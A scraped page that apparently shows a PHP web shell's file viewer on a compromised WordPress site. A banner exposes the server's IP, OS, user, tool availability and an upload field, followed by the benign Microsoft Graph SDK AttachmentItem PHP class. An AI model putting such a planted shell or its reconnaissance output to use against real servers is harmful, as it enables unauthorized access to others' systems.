Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* AttachmentItem File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* AttachmentItem class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class AttachmentItem extends Entity
{
/**
* Gets the attachmentType
* The type of attachment. Possible values are: file, item, reference. Required.
*
* @return AttachmentType|null The attachmentType
*/
public function getAttachmentType()
{
if (array_key_exists("attachmentType", $this->_propDict)) {
if (is_a($this->_propDict["attachmentType"], "\Microsoft\Graph\Model\AttachmentType") || is_null($this->_propDict["attachmentType"])) {
return $this->_propDict["attachmentType"];
} else {
$this->_propDict["attachmentType"] = new AttachmentType($this->_propDict["attachmentType"]);
return $this->_propDict["attachmentType"];
}
}
return null;
}
/**
* Sets the attachmentType
* The type of attachment. Possible values are: file, item, reference. Required.
*
* @param AttachmentType $val The value to assign to the attachmentType
*
* @return AttachmentItem The AttachmentItem
*/
public function setAttachmentType($val)
{
$this->_propDict["attachmentType"] = $val;
return $this;
}
/**
* Gets the contentId
* The CID or Content-Id of the attachment for referencing in case of in-line attachments using &lt;img src='cid:contentId'&gt; tag in HTML messages. Optional.
*
* @return string|null The contentId
*/
public function getContentId()
{
if (array_key_exists("contentId", $this->_propDict)) {
return $this->_propDict["contentId"];
} else {
return null;
}
}
/**
* Sets the contentId
* The CID or Content-Id of the attachment for referencing in case of in-line attachments using &lt;img src='cid:contentId'&gt; tag in HTML messages. Optional.
*
* @param string $val The value of the contentId
*
* @return AttachmentItem
*/
public function setContentId($val)
{
$this->_propDict["contentId"] = $val;
return $this;
}
/**
* Gets the contentType
* The nature of the data in the attachment. Optional.
*
* @return string|null The contentType
*/
public function getContentType()
{
if (array_key_exists("contentType", $this->_propDict)) {
return $this->_propDict["contentType"];
} else {
return null;
}
}
/**
* Sets the contentType
* The nature of the data in the attachment. Optional.
*
* @param string $val The value of the contentType
*
* @return AttachmentItem
*/
public function setContentType($val)
{
$this->_propDict["contentType"] = $val;
return $this;
}
/**
* Gets the isInline
* true if the attachment is an inline attachment; otherwise, false. Optional.
*
* @return bool|null The isInline
*/
public function getIsInline()
{
if (array_key_exists("isInline", $this->_propDict)) {
return $this->_propDict["isInline"];
} else {
return null;
}
}
/**
* Sets the isInline
* true if the attachment is an inline attachment; otherwise, false. Optional.
*
* @param bool $val The value of the isInline
*
* @return AttachmentItem
*/
public function setIsInline($val)
{
$this->_propDict["isInline"] = $val;
return $this;
}
/**
* Gets the name
* The display name of the attachment. This can be a descriptive string and does not have to be the actual file name. Required.
*
* @return string|null The name
*/
public function getName()
{
if (array_key_exists("name", $this->_propDict)) {
return $this->_propDict["name"];
} else {
return null;
}
}
/**
* Sets the name
* The display name of the attachment. This can be a descriptive string and does not have to be the actual file name. Required.
*
* @param string $val The value of the name
*
* @return AttachmentItem
*/
public function setName($val)
{
$this->_propDict["name"] = $val;
return $this;
}
/**
* Gets the size
* The length of the attachment in bytes. Required.
*
* @return int|null The size
*/
public function getSize()
{
if (array_key_exists("size", $this->_propDict)) {
return $this->_propDict["size"];
} else {
return null;
}
}
/**
* Sets the size
* The length of the attachment in bytes. Required.
*
* @param int $val The value of the size
*
* @return AttachmentItem
*/
public function setSize($val)
{
$this->_propDict["size"] = $val;
return $this;
}
}